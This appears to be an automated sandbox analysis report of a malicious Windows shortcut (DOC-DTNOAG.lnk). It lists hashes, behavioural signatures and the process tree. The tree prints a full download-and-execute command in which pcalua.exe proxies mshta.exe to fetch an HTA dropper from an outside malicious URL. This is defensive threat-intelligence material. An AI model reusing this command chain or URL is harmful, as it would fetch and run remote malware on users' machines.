Analysis
- max time kernel
148s - max time network
115s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 12:54
Static task
static1
Behavioral task
behavioral1
Sample
DOC-DTNOAG.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-DTNOAG.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-DTNOAG.lnk
- Size 1KB
- Sample260803-p5dnhszvez
- SHA256 d05c3c644889fc73df7ffaacc3ed7c19d23a5ebef8b871ea1b7ef9433e59ddbc
- MD5 f85d4d6bb5b7a66350d0eebaf399e8f6
- SHA1 9c4482bd065189381061c7b292b06051d5b19b1b
- SHA512 42590046a9569e077eb3b5da40a5f34fa937f0a33c8d6f7696f5728e43cf9927d3f900dd45390f3591eca7a71d3d93dcaa2c9ecb050db8fe69a796e4f644ce7e
- TLSH T1143121143EFA0624F3B79E735477AB1489BBB85A8E118A1E418546481472A14E07AFB7
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3452 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3452 wrote to memory of 4748 3452 cmd.exe 89 PID 4748 wrote to memory of 5004 4748 pcalua.exe 90
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-DTNOAG.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3452 -
C:\WINDOWS\system32\pcalua.exe"C:\WINDOWS\system32\pcalua.exe" -a mshta.exe -c "https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"2⤵
- Suspicious use of WriteProcessMemory
PID:4748 -
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"3⤵PID:5004
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:1284